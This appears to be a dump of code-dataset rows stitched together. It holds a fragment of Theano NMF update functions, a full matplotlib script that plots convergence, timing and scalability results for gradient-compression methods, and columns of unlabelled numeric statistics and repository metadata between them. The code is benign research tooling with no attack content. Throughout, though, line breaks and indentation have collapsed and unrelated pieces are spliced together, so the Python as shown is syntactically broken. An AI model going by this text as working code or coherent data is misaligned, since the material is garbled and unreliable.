H_old = H H = T.zeros(H.shape) for k in range(K): # beta = 2 if beta == 2: # H = H .* (W'* V)./((W'*W)*H); H = T.mul(H, T.dot(T.transpose(W), V)/T.dot(T.dot(T.transpose(W), W), H)) # beta = 1 elif beta == 1: # H = H .* (W.'*(V./V_ap))./repmat(scale',1,N); H = H + T.mul(H_old, (T.dot(T.transpose(W[:,:,k]), shift((V/V_hat), -k)) / T.dot(T.transpose(W[:,:,k]), one_vshape))) #beta = 0 else: H = H + T.mul(H_old, T.dot(T.transpose(W[:,:,k]), T.mul(V, T.power(V_hat,beta-2))) / T.dot(T.transpose(W[:,:,k]), T.power(V_hat,beta-1))) else: V_hat = normal(W,H) # beta = 2 if beta == 2: # H = H .* (W'* V)./((W'*W)*H); H = T.mul(H, T.dot(T.transpose(W), V)/T.dot(T.dot(T.transpose(W), W), H)) # beta = 1 elif beta == 1: # H = H .* (W.'*(V./V_ap))./repmat(scale',1,N); scale = W.sum(axis=0) H = T.mul(H, T.dot(T.transpose(W), (V/V_hat)) / T.extra_ops.repeat(T.transpose(scale), V.shape[1]).reshape(H.shape)) #beta = 0 else: H = T.mul(H, T.dot(T.transpose(W), T.mul(V, T.power(V_hat,beta-2))) / T.dot(T.transpose(W), T.power(V_hat,beta-1))) if norm_H > 0: return normalise_H(H, norm_H, norm_size) else: return H def update_w_cauchy(V, W, H, beta=0, conv=False, norm_W=0, K=0, norm_size=0): """ Update W according for cauchy Keyword arguments: V -- the magnitude of the input signal W -- the frequency matrix for each source F x K H -- the activation matrix for each source K x N convolution -- if we want to do convolution we need to add an extra dimension to the W matrix. (default False) norm_W -- normalise the W matrix with L1 norm (1) or L2 norm (2) (default 0) beta -- the beta parameter that determines which update rule to use Eucledian (2) Kullback-Leibler (1) Itakura-Saito (0) (default 0) """ if conv: V_hat = convolution(W,H, K) z = 3 * V_hat / (T.power(V, 2) + T.power(V_hat, 2)) for k in range(K): # W = T.mul(W, T.dot(T.power(V_hat,-1), T.transpose(H)) / T.dot(z, T.transpose(H))) W = T.set_subtensor(W[:,:,k], T.mul(W[:,:,k], T.dot(T.power(V_hat,-1), T.transpose(H)) / T.dot(z, T.transpose(H)))) else: V_hat = normal(W,H) z = 3 * V_hat / (T.power(V, 2) + T.power(V_hat, 2)) W = T.mul(W, T.dot(T.power(V_hat,-1), T.transpose(H)) / T.dot(z, T.transpose(H))) if norm_W > 0: return normalise_W(W, norm_W, norm_size) else: return W def update_h_cauchy(V, W, H, beta=0, conv=False, norm_H=0, K=0, norm_size=0): """ Update H according for cauchy Keyword arguments: V -- the magnitude of the input signal W -- the frequency matrix for each source F x K H -- the activation matrix for each source K x N convolution -- if we want to do convolution we need to add an extra dimension to the W matrix. (default False) norm_H -- normalise the H matrix with L1 norm (1) or L2 norm (2) (default 0) beta -- the beta parameter that determines which update rule to use Eucledian (2) Kullback-Leibler (1) Itakura-Saito (0) (default 0) """ if conv: V_hat = convolution(W,H,K) z = 3 * V_hat / (T.power(V, 2) + T.power(V_hat, 2)) H_old = H H = T.zeros(H.shape) for k in range(K): H = T.mul(H, T.dot(T.transpose(W[:,:,k]), T.power(V_hat,-1)) / T.dot(T.transpose(W[:,:,k]), z)) else: V_hat = normal(W,H) z = 3 * V_hat / (T.power(V, 2) + T.power(V_hat, 2)) H = T.mul(H, T.dot(T.transpose(W), T.power(V_hat,-1)) / T.dot(T.transpose(W), z)) if norm_H > 0: return normalise_H(H, norm_H, norm_size) else: return H
41.398876
185
0.541322
1,297
7,369
3.003855
0.07633
0.039014
0.030801
0.043635
0.935318
0.917864
0.892967
0.88886
0.88886
0.872433
0
0.022083
0.287149
7,369
177
186
41.632768
0.719589
0.387841
0
0.756098
0
0
0
0
0
0
0
0
0
1
0.04878
false
0
0.036585
0
0.182927
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a978454cbb9822ecaceb0a4639656be2d5b18b5e
37,093
py
Python
utils.py
vineeths96/QSGD
e5b61b1ebfa4288c3c2a9109819b72c13a93b5f7
[ "MIT" ]
1
2021-12-06T18:51:26.000Z
2021-12-06T18:51:26.000Z
utils.py
vineeths96/Gradient-Compression
e5b61b1ebfa4288c3c2a9109819b72c13a93b5f7
[ "MIT" ]
null
null
null
utils.py
vineeths96/Gradient-Compression
e5b61b1ebfa4288c3c2a9109819b72c13a93b5f7
[ "MIT" ]
null
null
null
import os import json import glob import pickle import numpy as np import pandas as pd import matplotlib.pyplot as plt from mpl_toolkits.axes_grid1.inset_locator import ( TransformedBbox, BboxPatch, BboxConnector, ) NUM_REPEATS = 5 label_dict = { "NoneAllReducer": "AllReduce SGD", "QSGDMaxNormReducer": "QSGD-MN", "GlobalRandKMaxNormReducer": "GRandK-MN", "QSGDMaxNormTwoScaleReducer": "QSGD-MN-TS", "GlobalRandKMaxNormTwoScaleReducer": "GRandK-MN-TS", "RankKReducer": "PowerSGD", } def mark_inset(parent_axes, inset_axes, loc1a=1, loc1b=1, loc2a=2, loc2b=2, **kwargs): rect = TransformedBbox(inset_axes.viewLim, parent_axes.transData) pp = BboxPatch(rect, fill=False, **kwargs) parent_axes.add_patch(pp) p1 = BboxConnector(inset_axes.bbox, rect, loc1=loc1a, loc2=loc1b, **kwargs) inset_axes.add_patch(p1) p1.set_clip_on(False) p2 = BboxConnector(inset_axes.bbox, rect, loc1=loc2a, loc2=loc2b, **kwargs) inset_axes.add_patch(p2) p2.set_clip_on(False) return pp, p1, p2 def plot_loss_curves(log_path): models = ["ResNet50", "VGG16"] experiment_groups = [glob.glob(f"{log_path}/*{model}") for model in models] for group_ind, experiment_group in enumerate(experiment_groups): fig, axes_main = plt.subplots() # axes_inner = plt.axes([0.65, 0.4, 0.3, 0.3]) # axes_inner_range = list(range(0, 50)) experiment_group.sort() for ind, experiment in enumerate(experiment_group): reducer = None quant_level = None higher_quant_level = None compression = None rank = None with open(os.path.join(experiment, "success.txt")) as file: for line in file: line = line.rstrip() if line.startswith("reducer"): reducer = label_dict[line.split(": ")[-1]] if line.startswith("quantization_level"): quant_level = line.split(": ")[-1] if line.startswith("higher_quantization_level"): higher_quant_level = line.split(": ")[-1] if line.startswith("compression"): compression = line.split(": ")[-1] if line.startswith("rank"): rank = line.split(": ")[-1] if higher_quant_level: label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"]) elif quant_level: label = " ".join([reducer, quant_level, "bits"]) elif compression: label = " ".join([reducer, "K:", compression]) elif rank: label = " ".join([reducer, "Rank", rank]) else: label = reducer log_dict = np.load(os.path.join(experiment, "log_dict.npy"), allow_pickle=True) loss = log_dict[()].get("train_loss") num_epochs = loss.shape[1] mean_loss = np.mean(loss, axis=0) std_dev_loss = np.std(loss, axis=0) axes_main.plot(np.arange(num_epochs), mean_loss, label=label) axes_main.fill_between( np.arange(num_epochs), mean_loss - std_dev_loss, mean_loss + std_dev_loss, alpha=0.25, ) axes_main.set_ylim(0, 2.5) # axes_inner.plot(axes_inner_range, mean_loss[axes_inner_range]) # axes_inner.fill_between( # axes_inner_range, # mean_loss[axes_inner_range] - std_dev_loss[axes_inner_range], # mean_loss[axes_inner_range] + std_dev_loss[axes_inner_range], # alpha=0, # ) # axes_inner.set_ylim(0, 2.5) # axes_main.plot(loss, label=label) # axes_inner.plot(axes_inner_range, mean_loss[axes_inner_range]) # axes_inner.grid() # mark_inset( # axes_main, # axes_inner, # loc1a=1, # loc1b=1, # loc2a=2, # loc2b=2, # fc="none", # ec="0.5", # ) # axes_main.grid() axes_main.set_xlabel("Epochs") axes_main.set_ylabel("Loss") # axes_main.set_title(f"Loss curve {models[group_ind]}") axes_main.legend() plt.tight_layout() plt.savefig(f"./plots/loss_{models[group_ind]}.svg") plt.show() def plot_loss_time_curves(log_path): models = ["ResNet50", "VGG16"] experiment_groups = [glob.glob(f"{log_path}/*{model}") for model in models] for group_ind, experiment_group in enumerate(experiment_groups): fig, axes_main = plt.subplots() # axes_inner = plt.axes([0.65, 0.4, 0.3, 0.3]) # axes_inner_range = list(range(0, 50)) experiment_group.sort() for ind, experiment in enumerate(experiment_group): reducer = None quant_level = None higher_quant_level = None compression = None rank = None with open(os.path.join(experiment, "success.txt")) as file: for line in file: line = line.rstrip() if line.startswith("reducer"): reducer = label_dict[line.split(": ")[-1]] if line.startswith("quantization_level"): quant_level = line.split(": ")[-1] if line.startswith("higher_quantization_level"): higher_quant_level = line.split(": ")[-1] if line.startswith("compression"): compression = line.split(": ")[-1] if line.startswith("rank"): rank = line.split(": ")[-1] if higher_quant_level: label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"]) elif quant_level: label = " ".join([reducer, quant_level, "bits"]) elif compression: label = " ".join([reducer, "K:", compression]) elif rank: label = " ".join([reducer, "Rank", rank]) else: label = reducer log_dict = np.load(os.path.join(experiment, "log_dict.npy"), allow_pickle=True) loss = log_dict[()].get("train_loss") time = log_dict[()].get("time") num_epochs = loss.shape[1] for i in reversed(range(1, NUM_REPEATS)): time[i] -= time[i - 1][-1] mean_loss = np.mean(loss, axis=0) std_dev_loss = np.std(loss, axis=0) time = np.mean(time, axis=0) axes_main.plot(time, mean_loss, label=label) axes_main.fill_between( time, mean_loss - std_dev_loss, mean_loss + std_dev_loss, alpha=0.25, ) axes_main.set_ylim(0, 2.5) # axes_inner.plot(time[axes_inner_range], mean_loss[axes_inner_range]) # axes_inner.fill_between( # time[axes_inner_range], # mean_loss[axes_inner_range] - std_dev_loss[axes_inner_range], # mean_loss[axes_inner_range] + std_dev_loss[axes_inner_range], # alpha=0, # ) # axes_inner.set_ylim(0, 2.5) # axes_main.plot(time, loss, label=label) # axes_inner.plot(time[axes_inner_range], loss[axes_inner_range]) # axes_inner.grid() # mark_inset( # axes_main, # axes_inner, # loc1a=1, # loc1b=1, # loc2a=2, # loc2b=2, # fc="none", # ec="0.5", # ) # axes_main.grid() axes_main.set_xlabel("Time") axes_main.set_ylabel("Loss") # axes_main.set_title(f"Loss Time curve {models[group_ind]}") axes_main.legend() plt.tight_layout() plt.savefig(f"./plots/loss_time_{models[group_ind]}.svg") plt.show() def plot_top1_accuracy_curves(log_path): models = ["ResNet50", "VGG16"] experiment_groups = [glob.glob(f"{log_path}/*{model}") for model in models] for group_ind, experiment_group in enumerate(experiment_groups): fig, axes_main = plt.subplots() # axes_inner = plt.axes([0.65, 0.4, 0.3, 0.3]) # axes_inner_range = list(range(0, 50)) experiment_group.sort() for ind, experiment in enumerate(experiment_group): reducer = None quant_level = None higher_quant_level = None compression = None rank = None with open(os.path.join(experiment, "success.txt")) as file: for line in file: line = line.rstrip() if line.startswith("reducer"): reducer = label_dict[line.split(": ")[-1]] if line.startswith("quantization_level"): quant_level = line.split(": ")[-1] if line.startswith("higher_quantization_level"): higher_quant_level = line.split(": ")[-1] if line.startswith("compression"): compression = line.split(": ")[-1] if line.startswith("rank"): rank = line.split(": ")[-1] if higher_quant_level: label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"]) elif quant_level: label = " ".join([reducer, quant_level, "bits"]) elif compression: label = " ".join([reducer, "K:", compression]) elif rank: label = " ".join([reducer, "Rank", rank]) else: label = reducer log_dict = np.load(os.path.join(experiment, "log_dict.npy"), allow_pickle=True) top1_accuracy = log_dict[()].get("test_top1_accuracy") * 100 num_epochs = top1_accuracy.shape[1] mean_top1_accuracy = np.mean(top1_accuracy, axis=0) std_dev_top1_accuracy = np.std(top1_accuracy, axis=0) axes_main.plot(np.arange(num_epochs), mean_top1_accuracy, label=label) axes_main.fill_between( np.arange(num_epochs), mean_top1_accuracy - std_dev_top1_accuracy, mean_top1_accuracy + std_dev_top1_accuracy, alpha=0.25, ) # axes_inner.plot(axes_inner_range, mean_top1_accuracy[axes_inner_range]) # axes_inner.fill_between( # axes_inner_range, # mean_top1_accuracy[axes_inner_range] - std_dev_top1_accuracy[axes_inner_range], # mean_top1_accuracy[axes_inner_range] + std_dev_top1_accuracy[axes_inner_range], # alpha=0, # ) # axes_main.plot(top1_accuracy, label=label) # axes_inner.plot(axes_inner_range, top1_accuracy[axes_inner_range]) # axes_inner.grid() # mark_inset( # axes_main, # axes_inner, # loc1a=1, # loc1b=1, # loc2a=2, # loc2b=2, # fc="none", # ec="0.5", # ) # axes_main.grid() axes_main.set_xlabel("Epochs") axes_main.set_ylabel("Test Accuracy (%)") # axes_main.set_title(f"Accuracy curve {models[group_ind]}") axes_main.legend() plt.tight_layout() plt.savefig(f"./plots/top1_{models[group_ind]}.svg") plt.show() def plot_top5_accuracy_curves(log_path): models = ["ResNet50", "VGG16"] experiment_groups = [glob.glob(f"{log_path}/*{model}") for model in models] for group_ind, experiment_group in enumerate(experiment_groups): fig, axes_main = plt.subplots() # axes_inner = plt.axes([0.65, 0.4, 0.3, 0.3]) # axes_inner_range = list(range(0, 50)) experiment_group.sort() for ind, experiment in enumerate(experiment_group): reducer = None quant_level = None higher_quant_level = None compression = None rank = None with open(os.path.join(experiment, "success.txt")) as file: for line in file: line = line.rstrip() if line.startswith("reducer"): reducer = label_dict[line.split(": ")[-1]] if line.startswith("quantization_level"): quant_level = line.split(": ")[-1] if line.startswith("higher_quantization_level"): higher_quant_level = line.split(": ")[-1] if line.startswith("compression"): compression = line.split(": ")[-1] if line.startswith("rank"): rank = line.split(": ")[-1] if higher_quant_level: label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"]) elif quant_level: label = " ".join([reducer, quant_level, "bits"]) elif compression: label = " ".join([reducer, "K:", compression]) elif rank: label = " ".join([reducer, "Rank", rank]) else: label = reducer log_dict = np.load(os.path.join(experiment, "log_dict.npy"), allow_pickle=True) top5_accuracy = log_dict[()].get("test_top5_accuracy") * 100 num_epochs = top5_accuracy.shape[1] mean_top5_accuracy = np.mean(top5_accuracy, axis=0) std_dev_top5_accuracy = np.std(top5_accuracy, axis=0) axes_main.plot(np.arange(num_epochs), mean_top5_accuracy, label=label) axes_main.fill_between( np.arange(num_epochs), mean_top5_accuracy - std_dev_top5_accuracy, mean_top5_accuracy + std_dev_top5_accuracy, alpha=0.25, ) # axes_inner.plot(axes_inner_range, mean_top5_accuracy[axes_inner_range]) # axes_inner.fill_between( # axes_inner_range, # mean_top5_accuracy[axes_inner_range] - std_dev_top5_accuracy[axes_inner_range], # mean_top5_accuracy[axes_inner_range] + std_dev_top5_accuracy[axes_inner_range], # alpha=0, # ) # axes_main.plot(top5_accuracy, label=label) # axes_inner.plot(axes_inner_range, top5_accuracy[axes_inner_range]) # axes_inner.grid() # mark_inset( # axes_main, # axes_inner, # loc1a=1, # loc1b=1, # loc2a=2, # loc2b=2, # fc="none", # ec="0.5", # ) # axes_main.grid() axes_main.set_xlabel("Epochs") axes_main.set_ylabel("Test Accuracy (%)") # axes_main.set_title(f"Accuracy curve {models[group_ind]}") axes_main.legend() plt.tight_layout() plt.savefig(f"./plots/top5_{models[group_ind]}.svg") plt.show() def plot_top1_accuracy_time_curves(log_path): models = ["ResNet50", "VGG16"] experiment_groups = [glob.glob(f"{log_path}/*{model}") for model in models] for group_ind, experiment_group in enumerate(experiment_groups): fig, axes_main = plt.subplots() # axes_inner = plt.axes([0.65, 0.4, 0.3, 0.3]) # axes_inner_range = list(range(0, 50)) experiment_group.sort() for ind, experiment in enumerate(experiment_group): reducer = None quant_level = None higher_quant_level = None compression = None rank = None with open(os.path.join(experiment, "success.txt")) as file: for line in file: line = line.rstrip() if line.startswith("reducer"): reducer = label_dict[line.split(": ")[-1]] if line.startswith("quantization_level"): quant_level = line.split(": ")[-1] if line.startswith("higher_quantization_level"): higher_quant_level = line.split(": ")[-1] if line.startswith("compression"): compression = line.split(": ")[-1] if line.startswith("rank"): rank = line.split(": ")[-1] if higher_quant_level: label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"]) elif quant_level: label = " ".join([reducer, quant_level, "bits"]) elif compression: label = " ".join([reducer, "K:", compression]) elif rank: label = " ".join([reducer, "Rank", rank]) else: label = reducer log_dict = np.load(os.path.join(experiment, "log_dict.npy"), allow_pickle=True) top1_accuracy = log_dict[()].get("test_top1_accuracy") * 100 time = log_dict[()].get("time") num_epochs = top1_accuracy.shape[1] for i in reversed(range(1, NUM_REPEATS)): time[i] -= time[i - 1][-1] mean_top1_accuracy = np.mean(top1_accuracy, axis=0) std_dev_top1_accuracy = np.std(top1_accuracy, axis=0) time = np.mean(time, axis=0) axes_main.plot(time, mean_top1_accuracy, label=label) axes_main.fill_between( time, mean_top1_accuracy - std_dev_top1_accuracy, mean_top1_accuracy + std_dev_top1_accuracy, alpha=0.25, ) # axes_inner.plot(time[axes_inner_range], mean_top1_accuracy[axes_inner_range]) # axes_inner.fill_between( # time[axes_inner_range], # mean_top1_accuracy[axes_inner_range] - std_dev_top1_accuracy[axes_inner_range], # mean_top1_accuracy[axes_inner_range] + std_dev_top1_accuracy[axes_inner_range], # alpha=0, # ) # axes_main.plot(time, top1_accuracy, label=label) # axes_inner.plot(time[axes_inner_range], top1_accuracy[axes_inner_range]) # axes_inner.grid() # mark_inset( # axes_main, # axes_inner, # loc1a=1, # loc1b=1, # loc2a=2, # loc2b=2, # fc="none", # ec="0.5", # ) # axes_main.grid() axes_main.set_xlabel("Time (sec)") axes_main.set_ylabel("Test Accuracy (%)") # axes_main.set_title(f"Accuracy Time curve {models[group_ind]}") axes_main.legend() plt.tight_layout() plt.savefig(f"./plots/top1_time_{models[group_ind]}.svg") plt.show() def plot_time_breakdown(log_path): time_labels = [ "batch", # "batch.accumulate", "batch.forward", "batch.backward", "batch.reduce", "batch.evaluate", "batch.step", ] models = ["ResNet50", "VGG16"] [plt.figure(num=ind) for ind in range(len(models))] experiment_groups = [glob.glob(f"{log_path}/*{model}") for model in models] events = np.arange(len(time_labels)) width = 0.1 for group_ind, experiment_group in enumerate(experiment_groups): plt.figure(num=group_ind) experiment_group.sort() num_experiments = len(experiment_group) - 1 for ind, experiment in enumerate(experiment_group): reducer = None quant_level = None higher_quant_level = None compression = None rank = None with open(os.path.join(experiment, "success.txt")) as file: for line in file: line = line.rstrip() if line.startswith("reducer"): reducer = label_dict[line.split(": ")[-1]] if line.startswith("quantization_level"): quant_level = line.split(": ")[-1] if line.startswith("higher_quantization_level"): higher_quant_level = line.split(": ")[-1] if line.startswith("compression"): compression = line.split(": ")[-1] if line.startswith("rank"): rank = line.split(": ")[-1] if higher_quant_level: label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"]) elif quant_level: label = " ".join([reducer, quant_level, "bits"]) elif compression: label = " ".join([reducer, "K:", compression]) elif rank: label = " ".join([reducer, "Rank", rank]) else: label = reducer time_df = pd.read_json(os.path.join(experiment, "timer_summary_0.json")).loc["average_duration"] time_values = time_df[time_labels].values plt.bar( events + (ind - num_experiments / 2) * width, time_values, width, label=label, ) # plt.grid() time_labels_axis = [time_label.split(".")[-1] for time_label in time_labels] plt.xticks(events, time_labels_axis) plt.ylabel("Average Time (sec)") # plt.title(f"Time breakdown {models[group_ind]}") plt.legend() plt.tight_layout() plt.savefig(f"./plots/time_breakdown_{models[group_ind]}.svg") plt.show() def plot_time_scalability(log_path): time_labels = ["batch"] models = ["ResNet50", "VGG16"] # instances = ["P2", "P3", "P2 Multi Node", "P3 Multi Node"] instances = ["P3", "P3 Multi Node"] for instance in instances: GPUs = os.listdir(os.path.join(log_path, instance)) GPUs.sort() width = 0.1 events = np.arange(len(GPUs)) time_dfs = {model: None for model in models} experiment_groups = [glob.glob(f"{log_path}/{instance}/*/*{model}") for model in models] for group_ind, experiment_group in enumerate(experiment_groups): time_results = [] compressor_ind_map = {} latest_compressor_ind = 0 experiment_group.sort() for ind, experiment in enumerate(experiment_group): reducer = None quant_level = None higher_quant_level = None compression = None rank = None num_epochs = None with open(os.path.join(experiment, "success.txt")) as file: for line in file: line = line.rstrip() if line.startswith("reducer"): reducer = label_dict[line.split(": ")[-1]] if line.startswith("quantization_level"): quant_level = line.split(": ")[-1] if line.startswith("higher_quantization_level"): higher_quant_level = line.split(": ")[-1] if line.startswith("compression"): compression = line.split(": ")[-1] if line.startswith("num_epochs"): num_epochs = int(line.split(": ")[-1]) if line.startswith("rank"): rank = line.split(": ")[-1] if higher_quant_level: label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"]) elif quant_level: label = " ".join([reducer, quant_level, "bits"]) elif compression: label = " ".join([reducer, "K:", compression]) elif rank: label = " ".join([reducer, "Rank", rank]) else: label = reducer if not label in compressor_ind_map: time_results.append([]) compressor_ind_map[label] = latest_compressor_ind latest_compressor_ind += 1 time_df = pd.read_json(os.path.join(experiment, "timer_summary.json")).loc["total_time"] time_values = time_df[time_labels].values / num_epochs time_results[compressor_ind_map[label]].append(float(time_values)) time_dfs[models[group_ind]] = pd.DataFrame(time_results, index=compressor_ind_map.keys()) for df_key in time_dfs: plt.figure() time_df = time_dfs[df_key] num_compressors = len(time_df) - 1 for ind, (label, values) in enumerate(time_df.iterrows()): values = values.to_list() plt.bar( events + (ind - num_compressors / 2) * width, values, width, label=label, ) # plt.grid() plt.xticks(events, GPUs) plt.ylabel("Time per Epoch (sec)") # plt.title(f"Time Scalability {df_key} {instance}") plt.legend() plt.tight_layout() plt.savefig(f"./plots/time_scalability_{df_key}_{instance}.svg") plt.show() def plot_throughput_scalability(log_path): time_labels = ["batch"] models = ["ResNet50", "VGG16"] # instances = ["P2", "P3", "P2 Multi Node", "P3 Multi Node"] instances = ["P3", "P3 Multi Node"] for instance in instances: GPUs = os.listdir(os.path.join(log_path, instance)) GPUs.sort() width = 0.1 events = np.arange(len(GPUs)) throughput_dfs = {model: None for model in models} experiment_groups = [glob.glob(f"{log_path}/{instance}/*/*{model}") for model in models] for group_ind, experiment_group in enumerate(experiment_groups): throughput_results = [] compressor_ind_map = {} latest_compressor_ind = 0 experiment_group.sort() for ind, experiment in enumerate(experiment_group): reducer = None quant_level = None higher_quant_level = None compression = None rank = None with open(os.path.join(experiment, "success.txt")) as file: for line in file: line = line.rstrip() if line.startswith("reducer"): reducer = label_dict[line.split(": ")[-1]] if line.startswith("quantization_level"): quant_level = line.split(": ")[-1] if line.startswith("higher_quantization_level"): higher_quant_level = line.split(": ")[-1] if line.startswith("compression"): compression = line.split(": ")[-1] if line.startswith("rank"): rank = line.split(": ")[-1] if higher_quant_level: label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"]) elif quant_level: label = " ".join([reducer, quant_level, "bits"]) elif compression: label = " ".join([reducer, "K:", compression]) elif rank: label = " ".join([reducer, "Rank", rank]) else: label = reducer if not label in compressor_ind_map: throughput_results.append([]) compressor_ind_map[label] = latest_compressor_ind latest_compressor_ind += 1 time_df = pd.read_json(os.path.join(experiment, "timer_summary.json")).loc["average_duration"] num_GPUs = int(experiment.split("/")[5].split()[0]) throughput = (128 * num_GPUs) / time_df[time_labels].values throughput_results[compressor_ind_map[label]].append(int(throughput)) throughput_dfs[models[group_ind]] = pd.DataFrame(throughput_results, index=compressor_ind_map.keys()) for df_key in throughput_dfs: plt.figure() throughput_df = throughput_dfs[df_key] num_compressors = len(throughput_df) - 1 for ind, (label, values) in enumerate(throughput_df.iterrows()): values = values.to_list() plt.bar( events + (ind - num_compressors / 2) * width, values, width, label=label, ) # plt.grid() plt.xticks(events, GPUs) plt.ylabel("Images per sec") # plt.title(f"Throughput Scalability {df_key} {instance}") plt.legend() plt.tight_layout() plt.savefig(f"./plots/throughput_scalability_{df_key}_{instance}.svg") plt.show() def plot_performance_modelling(log_path): models = ["ResNet50", "VGG16"] instances = ["P3"] # , "P3 Multi Node"] batch_size = 128 inter_gpu_bw = 200 * 1024 gpu_cpu_bw = 11 * 1024 network_latency = 9e-3 network_bw = 1 * 1024 / 8 num_gpu_per_node = 4 for instance in instances: GPUs = [1, 2, 4, 8, 16, 32, 64, 128] width = 0.1 events = np.arange(len(GPUs)) throughput_dfs = {model: None for model in models} experiment_groups = [glob.glob(f"{log_path}/{instance}/1 GPU/*{model}") for model in models] for group_ind, experiment_group in enumerate(experiment_groups): throughput_results = [] compressor_ind_map = {} latest_compressor_ind = 0 experiment_group.sort() for ind, experiment in enumerate(experiment_group): reducer = None quant_level = None higher_quant_level = None compression = None rank = None with open(os.path.join(experiment, "success.txt")) as file: for line in file: line = line.rstrip() if line.startswith("architecture"): architecture = line.split(": ")[-1] if line.startswith("reducer"): reducer = label_dict[line.split(": ")[-1]] if line.startswith("quantization_level"): quant_level = line.split(": ")[-1] if line.startswith("higher_quantization_level"): higher_quant_level = line.split(": ")[-1] if line.startswith("compression"): compression = line.split(": ")[-1] if line.startswith("rank"): rank = line.split(": ")[-1] if higher_quant_level: # label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"]) label = " ".join([reducer]) elif quant_level: # label = " ".join([reducer, quant_level, "bits"]) label = " ".join([reducer]) elif compression: label = " ".join([reducer, "K:", compression]) elif rank: label = " ".join([reducer, "Rank", rank]) else: label = reducer if not label in compressor_ind_map: throughput_results.append([]) compressor_ind_map[label] = latest_compressor_ind latest_compressor_ind += 1 time_df = pd.read_json(os.path.join(experiment, "timer_summary.json")) if architecture == "ResNet50": gradient_size = 89.72 elif architecture == "VGG16": gradient_size = 56.18 else: raise ValueError("Model undefined") if label_dict["NoneAllReducer"] in label: gradient_size = gradient_size elif label_dict["QSGDMaxNormReducer"] in label: gradient_size /= 4 elif label_dict["QSGDMaxNormTwoScaleReducer"] in label: gradient_size /= 2 elif label_dict["GlobalRandKMaxNormReducer"] in label: if architecture == "ResNet50": gradient_size *= 10000 / 23520842 elif architecture == "VGG16": gradient_size *= 10000 / 14728266 gradient_size /= 4 elif label_dict["GlobalRandKMaxNormTwoScaleReducer"] in label: if architecture == "ResNet50": gradient_size *= 10000 / 23520842 elif architecture == "VGG16": gradient_size *= 10000 / 14728266 gradient_size /= 2 else: raise ValueError("Method undefined") for gpu in GPUs: if gpu > num_gpu_per_node: num_nodes = gpu / num_gpu_per_node else: num_nodes = 1 T = ( time_df["batch"]["average_duration"] + gradient_size / inter_gpu_bw * np.log2(num_gpu_per_node) + (network_latency + gradient_size / network_bw) * np.log2(num_nodes) ) throughput = (batch_size * gpu) / T throughput_results[compressor_ind_map[label]].append(int(throughput)) throughput_dfs[models[group_ind]] = pd.DataFrame(throughput_results, index=compressor_ind_map.keys()) for df_key in throughput_dfs: fig, axes_main = plt.subplots() axes_inner = plt.axes([0.25, 0.35, 0.3, 0.3]) axes_inner_range = list(range(0, 4)) throughput_df = throughput_dfs[df_key] num_compressors = len(throughput_df) - 1 for ind, (label, values) in enumerate(throughput_df.iterrows()): values = values.to_list() axes_main.bar( events + (ind - num_compressors / 2) * width, values, width, label=label, ) INNER_GPUs = 5 for ind, (label, values) in enumerate(throughput_df.iterrows()): axes_inner.bar( events[:INNER_GPUs] + (ind - num_compressors / 2) * width, values[:INNER_GPUs], width, label=label, ) # axes_inner.grid() axes_inner.set_xticks(events[:INNER_GPUs]) axes_inner.set_xticklabels(GPUs[:INNER_GPUs]) mark_inset( axes_main, axes_inner, loc1a=4, loc1b=1, loc2a=3, loc2b=2, fc="none", ec="0.5", ) # axes_main.grid() axes_main.set_xticks(events) axes_main.set_xticklabels(GPUs) axes_main.set_ylabel("Images per sec") axes_main.set_xlabel("Number of GPUs") # axes_main.set_title(f"Performance Modelling {df_key} {instance}") axes_main.legend() plt.tight_layout() plt.savefig(f"./plots/performance_modelling_{df_key}_{instance}.svg") plt.show() if __name__ == "__main__": root_log_path = "./logs/plot_logs/" plot_loss_curves(os.path.join(root_log_path, "convergence")) plot_loss_time_curves(os.path.join(root_log_path, "convergence")) plot_top1_accuracy_curves(os.path.join(root_log_path, "convergence")) plot_top1_accuracy_time_curves(os.path.join(root_log_path, "convergence")) plot_top5_accuracy_curves(os.path.join(root_log_path, "convergence")) plot_time_breakdown(os.path.join(root_log_path, "time_breakdown")) plot_time_scalability(os.path.join(root_log_path, "scalability")) plot_throughput_scalability(os.path.join(root_log_path, "scalability")) plot_performance_modelling(os.path.join(root_log_path, "scalability"))
37.018962
113
0.521985
3,944
37,093
4.656187
0.064655
0.043618
0.03888
0.030712
0.87323
0.845241
0.826073
0.810118
0.800425
0.764703
0
0.022609
0.363249
37,093
1,001
114
37.055944
0.754901
0.111423
0
0.733032
0
0
0.092408
0.035312
0
0
0
0
0
1
0.015083
false
0
0.012066
0
0.028658
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
5755a70bf5328af77ffbd09df796700c01c2d8c9
5,345
py
Python
office_space/office_space_app/migrations/0001_initial.py
ajigeorge/OfficeSpaceApp
fe6f4fcb8903029d022c8de859ad77174b6e3610
[ "Apache-2.0" ]
null
null
null
office_space/office_space_app/migrations/0001_initial.py
ajigeorge/OfficeSpaceApp
fe6f4fcb8903029d022c8de859ad77174b6e3610
[ "Apache-2.0" ]
null
null
null
office_space/office_space_app/migrations/0001_initial.py
ajigeorge/OfficeSpaceApp
fe6f4fcb8903029d022c8de859ad77174b6e3610
[ "Apache-2.0" ]
null
null
null
